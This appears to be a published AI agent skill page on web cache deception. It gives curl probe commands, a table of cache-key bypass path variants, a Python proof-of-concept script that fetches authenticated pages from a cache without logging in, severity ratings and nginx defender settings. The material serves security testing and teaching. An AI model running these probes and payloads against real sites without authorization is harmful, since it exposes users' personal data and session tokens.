# Cache Deception

> Web cache deception — trick CDN/proxy into caching authenticated responses under unauthenticated URLs, exposing PII to any visitor.

- Skill: `purpleailab/cache-deception` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/cache-deception`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/cache-deception/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/cache-deception

---


# Web Cache Deception

Reverse proxies / CDNs cache based on URL extension or path patterns
(`.css`, `.jpg`, `/static/`). If the origin server returns the
authenticated page for any path, attacker tricks the cache into storing
private content under a public-cacheable URL.

## 1. The classic
```
GET /account.css     ← attacker visits, in their own session
                       Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
                       Cache stores response keyed on /account.css

GET /account.css     ← victim or any unauth visitor
                       Cache HIT → serves the attacker-cached, victim-data response
```

## 2. Probe the deception

```bash
# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'

# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)

# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies
```

If the second request returns the AUTHENTICATED content of step 1 → deception confirmed.

## 3. Variants

| Variant | Path |
|---|---|
| `.css` suffix | `/account/foo.css` |
| `.jpg` suffix | `/account.jpg` |
| `/static/` prefix | `/static/../account` |
| Multiple slashes | `/account//.css` |
| URL-encoded `;` | `/account%3B.css` |
| Trailing semi-segment | `/account;foo.css` |
| Double extension | `/account.html.css` |
| Path parameter | `/account.css/anything` |

Each cache impl handles these differently. Cloudflare / Fastly / Akamai
/ Varnish all have known quirks.

## 4. Cache poisoning vs cache deception
- **Deception** — attacker forces cache of victim's data, served to others
- **Poisoning** — attacker injects content into a normal cached resource

This skill covers deception. Cache poisoning is a separate (overlapping) class.

## 5. Tools
- **Param Miner** (Burp plugin) — unkeyed param discovery
- `webcache.cyberxecution.com` for quick suffix probes
- Manual via Burp Repeater

## 6. PoC

```python
import requests
sess = requests.Session()
sess.cookies['session'] = 'AUTH_COOKIE'

# 1. Force cache of authenticated response
r1 = sess.get(f"{TARGET}/account.css")
print(f"step1 status={r1.status_code} body_hash={hash(r1.text)}")

# 2. Hit same URL unauth
r2 = requests.get(f"{TARGET}/account.css")
print(f"step2 status={r2.status_code} body_hash={hash(r2.text)}")
assert r2.text != "404 not found"
assert "private_data" in r2.text   # adjust to whatever marker your auth page has
```

## 7. Severity

| Bug | Severity |
|---|---|
| Cache deception exposing PII (email, name, balance) | Critical 8-9 |
| Cache deception of session token | Critical 9.8 (ATO) |
| Cache deception of public-only data | Informational |
| Cache poisoning of script content | Critical 9.0 (RCE-adjacent in browser context) |

## 8. Defender

```nginx
# Nginx — prefix-based cache keys, NOT extension-based
location / {
  proxy_pass http://origin;
  proxy_cache_key "$scheme$proxy_host$uri";
  add_header Cache-Control "private, no-store" always;
}

# Cloudflare — set Cache Rules to require Vary: Cookie + Authorization
# AND match by Content-Type, not URL extension
```

Apps should send `Cache-Control: private, no-store` on every authenticated
response to defeat both deception and poisoning.

## Cross-references
- Upstream catalog: `skills/_corpus/payloads/Web Cache Deception/`
- Smuggling overlap: `skills/exploit/web/smuggling.md`

## Known exemplars
- Omer Gil's original PayPal disclosure (2017)
- Multiple HackerOne reports $5-15k for cache deception on enterprise SaaS
- 2023: notable Stripe disclosure of cache deception leading to PII leak

